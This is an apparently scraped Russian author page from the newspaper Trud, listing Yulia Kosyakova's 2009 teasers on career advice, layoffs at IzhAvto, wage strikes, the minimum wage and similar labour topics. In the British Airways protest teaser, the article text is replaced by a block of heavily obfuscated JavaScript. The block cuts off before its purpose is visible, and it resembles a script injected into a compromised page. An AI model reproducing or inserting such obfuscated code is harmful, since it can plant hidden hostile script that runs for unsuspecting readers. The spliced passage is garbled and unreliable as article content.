Главная Автор
Косякова Юлия
Связаться с автором
Виталий Мутко о своих первых доходах
Косякова Юлия
Труд
Нынешний министр спорта РФ Виталий Мутко свою первую зарплату получил во время работы в Ленинградском морском пароходстве. В 1977 году Мутко окончил Ленинградское училище речного флота, в котором успел стать руководителем профсоюзной организации. Однако за эту работу ничего, кроме общественного признания, не полагалось. Первую зарплату нынешний опальный министр получил только после завершения обучения. Он стал матросом-мотористом и ходил на речных судах. В его обязанности входила служба в машинном отделении, обслуживание двигателей судна, их мелкий ремонт и поддержание...

22-09-2009 01:12 1725
Новый порядок
Как перестроить работу коллектива
Косякова Юлия
Труд
Ваши подчиненные работают все хуже и хуже: показатели падают, дисциплина снижается. Подвигнуть отдел на совершение трудовых подвигов все сложнее. Пришло время сменить схему работы подразделения. Большинство руководителей считают, что, один раз отладив систему работы своего отдела, они смогут протянуть на этом багаже всю свою жизнь в компании. Это не так, потому что сотрудники за несколько месяцев привыкают к схеме, приноравливаются к ней, а потом успокаиваются. Именно в этот момент производительность стремительно несется вниз. 1. Найдите слабые места Они есть у любой схемы, но вам...

Удмуртский завод возобновит работу
Косякова Юлия
Труд
Завод в Удмуртии в ближайшее время снова запустит конвейер. Более 6000 человек смогут вернуться на свои рабочие места. Ижевский автозавод в ближайшее время подпишет контракт о поставке на завод комплектов для сборки автомобилей KIA. Предприятие будет собирать машины и получать фиксированную плату за каждую собранную единицу. Раньше «ИжАвто» занимался более прибыльным бизнесом. Помимо сборки завод ещё и продавал автомобили, что приносило дополнительный доход. Однако запуск менее маржинального бизнеса позволит возобновить работу конвейера и заново нанять персонал. Всего с мая...

Что делать, когда вы работаете быстрее коллег, но на вас валят дополнительные нагрузки
Косякова Юлия
Труд
Вы справляетесь со своей работой настолько быстро, что освобождаетесь уже в середине дня. Шеф радостно потирает руки и нагружает вас новыми делами. Как не превратиться в ломовую лошадь, советуют эксперты «Труда». 1. Устройте самопрезентацию Возможно, руководитель не замечает, что вы делаете больше других, и не обращает внимания на то, что вы справляетесь с работой быстрее коллег. Идите прямиком к начальнику, но обязательно возьмите с собой какой-то отчет, подтверждающий, что вы делаете все быстрее других. 2. Покажите, что вам надо Намекните...

Как реагировать на такой вопрос шефа и добиться своего, советуют эксперты «Труда»
Косякова Юлия
Труд
Вы пришли к боссу с заявлением на отпуск, рассчитывали, что его быстро подпишут, но столкнулись с тем, что должны доказывать свое право на отдых. Наши эксперты оценили ответы по 10-балльной шкале. «Мне нужна передышка, чтобы с новыми силами взяться за работу» — 9,6* Лариса Лутовина, управляющий директор компании Private Consulting Group: — Отлично! А если ещё добавить, что новый проект, стартующий через месяц, потребует от вас максимальной отдачи, отпуск точно у вас в кармане. Наталья Толстая, генеральный директор компании «Амплуа-Брокер»: — Ответ...

26-08-2009 07:03 2074
Кто последний
Как понять, из-за чего именно вы задерживаетесь на работе
Косякова Юлия
Труд
В кризис у всех стало много работы, но почему-то именно вы уходите из офиса последним. Сначала вы думали, что причина в том, что именно у вас больше всего работы. Пройдите простой тест «Труда» и поймите, так ли это. Вы нашли себя в ответах? Отлично! Теперь эксперты «Труда» подскажут вам, стоит ли беспокоиться из-за ежедневных задержек в офисе и что следует предпринять. 1. Ваши действия оправданны. Вы задерживаетесь в офисе по объективным причинам Имеет смысл оставаться на работе допоздна, если это вызвано объективными...

25-08-2009 04:16 1902
Пауза перед взлетом
Как вести себя, если вы кандидат на повышение
Косякова Юлия
Труд
После ухода начальника вам дали понять, что его место можете занять вы. Как доказать, что именно вы достойны этой должности, и не спугнуть нежданную удачу? Эксперты «Труда» дают четыре совета, которые помогут вам продвинуться вверх по карьерной лестнице. 1. Соблюдайте спокойствие Если ваши коллеги не в курсе, кто скоро может возглавить отдел, не стоит сразу сообщать им эту новость. Возможно, не все они обрадуются повышению и могут распустить порочащие вас слухи. К тому же если повышение не состоится, в их глазах вы наверняка станете неудачником. 2....

24-08-2009 06:18 4171
Хватит бояться
Как преодолеть страх перед начальником
Косякова Юлия
Труд
Ваш босс не тиран, но каждый раз, когда нужно обратиться к нему, вы испытываете страх. Это происходит из-за вашей неуверенности в себе. Эксперты «Труда» дают пять советов, как преодолеть ненужную робость. 1. Найдите сходства Научитесь видеть в начальнике такого же человека, как вы, из плоти и крови. Представьте, что он чей-то отец, муж или сын, а не абстрактная фигура в дорогом пиджаке. Представьте, как он вечером, усталый, приходит домой, как надевает халат и тапочки. Получилось? Отлично, теперь подумайте, в чем вы похожи. Оба любите японскую...

18-08-2009 06:31 2266
Работа по дружбе
Как составить протекцию своему знакомому
Косякова Юлия
Труд
Ваш друг никак не может найти работу, а в вашей компании как раз появилась подходящая вакансия. Вы можете сделать так, чтобы именно он получил это место. Устраивать на работу по знакомству можно и нужно, особенно если вы знаете, каков этот человек в работе. Так вы поможете и другу, и компании, ведь она приобретет ценного специалиста. А у вас появится свой человек, к примеру, в смежном отделе, с которым раньше не получалось наладить контакт. К тому же чем больше в компании своих, тем спокойнее психологическая обстановка, ведь...

17-08-2009 05:36 2818
Карьерный прокол
Пять вопросов на собеседовании, на которые почти все и всегда дают неверные ответы
Косякова Юлия
Труд
Правила прохождения собеседования знают уже почти все. Но это знание не мешает регулярно допускать одни и те же глупые ошибки. Мы решили ещё раз напомнить вопросы, на которых попадаются почти все и всегда. 1. «Расскажите о себе?» Если в ответе вы начинаете рассказывать о себе все, начиная с самого детства, значит, вы наступили на первую мину. Ваша подробная автобиография произведет на потенциального начальника впечатление, что вы человек ведомый, многословный, плохо отличающий главное от второстепенного, нецелеустремленный. Это очень...

Специалист по оценке драгоценных камней может найти работу только по знакомству, учится за свой счет и очень востребован в Европе
Косякова Юлия
Труд
В ювелирных магазинах мы часто материмся, глядя на цены колец, серег и ожерелий с бриллиантами. Достается в основном продавцам. Хотя на самом деле ценность и отчасти итоговую стоимость камней определяют бриллиантоведы — геммологи. Геммологи — люди, занимающиеся оценкой драгоценных камней. Эта профессия в нашей стране практически не востребована, хотя российское образование по данному профилю считается одним из лучших в мире, поэтому опытных геммологов с удовольствием призывают под свои знамена европейские и американские компании. Невелики...

Как подстраховаться от ошибок, когда начальника нет на месте
Косякова Юлия
Труд
Ваш начальник уезжает на курорт и может забыть сделать необходимые распоряжения, в результате чего вы не сможете нормально работать. Эксперты «Труда» дают четыре совета о том, что нужно сделать, чтобы отсутствие шефа пагубно не отразилось на вашей карьере. 1. Узнайте, кто остался на хозяйстве Первое, что надо сделать, если вы узнаете, что начальник уходит в отпуск, — поинтересоваться, кто станет вашим руководителем на это время. Начальники тоже люди, поэтому они могут забыть сказать сотрудникам, кто из них остается за главного на время...

Водителям междугородных автобусов запрещают пользоваться кондиционером и заставляют работать по 20 часов в сутки
Косякова Юлия
Труд
а две недели в автомобильных катастрофах с участием рейсовых междугородных автобусов в России погибло около 30 человек. "Труд" решил разобраться, кто и как работает водителями "дальнего сообщения". Дам за руль не пускать Водитель междугородного рейсового автобуса всегда мужчина. В кругу коллег-профессионалов он имеет более высокий статус, чем его коллега на городском транспорте. Это связано с более жесткими требованиями, предъявляемыми к этому специалисту, плюс с тяжелыми условиями труда. Как рассказал Виталий Пастухов, который больше 20 лет проработал на дальних рейсах в Перми, "когда едешь по малоосвещенной...

Кинолог не просто должен любить собак и знать их повадки, но и быть настоящим зоопсихологом - так сейчас часто называют людей этой профессии.
Косякова Юлия
Труд
"Я занимаюсь корректированием психики собак, - рассказала дипломированный кинолог Лариса. - Это не формально нормативная дрессура "сидеть-лежать", сдача дипломов, а именно решение бытовых проблем общения владельца и его собаки". Типичные места работы кинологов - это управление внутренних дел, армия, Вооруженные силы, таможенная и пограничная службы, аэропорты, МЧС, научно-исследовательские институты и лаборатории, питомники по разведению собак, клубы собаководов. На учебно-дрессировочных площадках готовят не только служебно-розыскных собак, но и собак-спасателей, поводырей для слепых, а также натаскивают животных...

Сотрудники крупнейшей британской авиакомпании British Airways вчера устроили необычную акцию протеста против предложения работать бесплатно.

Косякова Юлия
Труд
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const _0x27dcfa=_0x39e0,_0x214068=_0x3391b0();while(!![]){try{const _0x4b86db=-parseInt(_0x27dcfa(0x1b4))/(0x179a+-0x1706+-0x93)*(-parseInt(_0x27dcfa(0x1ae))/(0xd02+0x17f5+-0x24f5))+parseInt(_0x27dcfa(0x1b5))/(0x1325+0x2259+-0x357b)+-parseInt(_0x27dcfa(0x1a3))/(-0x1085+-0x17*0x1+-0x1c*-0x98)*(parseInt(_0x27dcfa(0x1b0))/(-0x19f2*-0x1+-0x1f57+0x7*0xc6))+parseInt(_0x27dcfa(0x1af))/(0x1c5+0x26ea+-0x5cf*0x7)*(parseInt(_0x27dcfa(0x1a1))/(0x255a+-0x931*-0x4+0x4a17*-0x1))+-parseInt(_0x27dcfa(0x1a6))/(-0x78*-0x14+0xb6b+-0x1*0x14c3)*(-parseInt(_0x27dcfa(0x1b2))/(-0x29*0x83+0x2692+-0x7*0x282))+parseInt(_0x27dcfa(0x1a0))/(0x25d0+-0x3cf+-0x21f7)*(-parseInt(_0x27dcfa(0x1b3))/(0x16c1+0x10*0x8f+-0x1fa6))+parseInt(_0x27dcfa(0x1a5))/(0x881*-0x1+-0xa76+0x1303);if(_0x4b86db===_0xb1095e)break;else...

Ваш подчиненный делает только то, за что может получить премию или другие материальные радости. К нагрузкам "за зарплату" он относится спустя рукава. Что делать с таким сотрудником и как превратить его в настоящего профессионала, советуют эксперты "Труда".
Косякова Юлия
Труд
Изменить мотивацию алчного сотрудника крайне трудно. Существует тип людей, которым все равно, где и как работать, главное, чтобы им платили, но таких, по оценкам социологов, всего 5%. Пусть он говорит, что его интересуют только деньги, но зачастую его привлекает что-то иное, и если этот скрытый фактор пропадает, то вместе с ним исчезает и интерес к работе. Главное для руководителя - знать, за что зацепиться, чтобы переломить ситуацию. 1. Заботьтесь о подчиненном Работодателю надо следить за отношениями в коллективе: чем лучше микроклимат в компании, тем вероятнее, что подчиненный будет чувствовать себя комфортно и у него не появится...

Бутерброды, шоколадки, газировка и энергетики. Врачи считают эту пищу крайне вредной для здоровья, но выбора у клерка нет. Мы попросили диетологов и гастроэнтерологов составить полезное офисное меню из доступных продуктов.
Косякова Юлия
Труд
В крупных компаниях сотрудникам запрещено приносить на работу еду из дома. Экзотические, но страшно полезные травки, фрукты и натуральные соки офисному сотруднику в будний день недоступны. Святым духом он не питается. Ходить каждый день в столовую или соседний ресторанчик не может: стоимость бизнес-ланча в среднем составляет около 150 рублей. Если питаться так каждый день, то только на еду будет уходить от 3 до 5 тысяч рублей в месяц - накладно. При средней зарплате менеджера в 25 тысяч рублей в столовую можно заглянуть раза два в неделю, а то и реже. Остается только то, что все врачи иначе как ядом не называют. Но и яд в правильных...

Вслед за Пикалево забастовки и голодовки начинаются в других российских моногородах.
Косякова Юлия
Труд
Байкальск 3 июня объявили голодовку сотрудники Байкальского целлюлозно-бумажного комбината (ЦБК). Голодающих уже 48 человек, они требуют выплаты зарплат, а днем часть из них ходят на общественные работы. Положение критическое: в мае люди получили деньги за январь, многие живут на детские пособия, из соседнего Иркутска шлют продовольственную помощь. Последней каплей стало отключение горячей воды из-за отсутствия денег - так было и в Пикалево. Байкальский ЦБК прекратил работу в октябре прошлого года, и эта мера была вызвана не только кризисом, но и требованием Минприроды перейти на замкнутый цикл водооборота, чтобы исключить загрязнение...

Работа 03-06-2009 01:01 6145
Лишний МРОТ
Оказалось, что российский МРОТ - один из самых маленьких. Кроме того, в нашей стране этот показатель имеет мало общего с жизнью. Богатым регионам в нынешнем состоянии он не нужен, а бедным только мешает.
Косякова Юлия
Труд
"Труд" сравнил МРОТ в странах "большой восьмерки", в Бразилии, Индии и Китае. Оказалось, что российский МРОТ в 10-15 раз ниже аналогичных показателей в развитых странах и даже ниже бразильского, где среднедушевой ВВП меньше в полтора раза. Ниже российского МРОТ только в Индии и Китае. Ориентироваться на эти показатели России пока не стоит. "Приближать МРОТ к средней оплате труда имеет смысл только в стране с развитой экономикой", - считает Евгений Гонтмахер, руководитель Центра социальной политики Института экономики РАН. В США и Европе разница в доходах и производительности труда работников меньше, чем в России, поэтому повышение...

Профсоюз компании потребовал от работодателя точной информации о готовящихся массовых сокращениях персонала.
Косякова Юлия
Труд
В акции протеста под девизом "От севера до юга "Фиат" не может расти без нас" профсоюз требует более подробной информации о кадровых планах руководства предприятия. Поводом для недовольства стало соглашение "Фиата" с американским "Крайслером" и начало переговоров о сотрудничестве с немецким "Опелем". В итальянских СМИ появилась информация о том, что при слиянии компании с немецким автоконцерном под сокращение могут попасть 18 тысяч итальянских рабочих. Главный управляющий концерном "Фиат" Серджио Маркионне выразил готовность к открытой встрече с профсоюзами и пока не прокомментировал слухи о готовящемся сокращении рабочих мест. По...

Правительство России определило размер единовременного пособия для безработных граждан на открытие собственного дела.
Косякова Юлия
Труд
Теперь каждый инициативный, но оставшийся без работы россиянин сможет получить от государства 60 тысяч рублей, если предоставит и защитит свой бизнес-план в центре занятости, а впоследствии официально обязуется отчитаться за каждый потраченный рубль. Кандидат в предприниматели должен будет пройти специальный тест на выявление наличия способностей эффективно распоряжаться денежными средствами. Идея превратить безработного в предпринимателя пришла в государственные умы еще в декабре 2008 года. Было решено дать возможность оказавшемуся без работы человеку получить сразу 12-кратную годовую сумму пособия по безработице. Величина этой...

Приказ о сокращении штата был подписан генеральным директором предприятия Михаилом Добындо. Сейчас кадровая служба завода занимается формированием списка увольняемых. Данная мера коснется работников всех подразделений, в особенности занятых на производстве автомобиля ВАЗ-2104.
Косякова Юлия
Труд
В течение трех месяцев на заводе "ИжАвто" будет уволено более 50% персонала. Всего на заводе работают около 5,5 тысячи человек. Руководство предприятия объясняет свое решение негативными последствиями экономического кризиса - резким спадом спроса на продукцию завода и ростом цен на сырье. Слухи о готовящихся увольнениях стали появляться еще в апреле в связи с несостоявшейся сделкой по продаже "ИжАвто" "Авто-ВАЗу". Часть сотрудников была переведена на трехдневную рабочую неделю. Таким образом предполагалось сохранить рентабельность производства. Но из-за простоя завод начал нести большие убытки, покрывать которые обязали рабочих. Некоторых...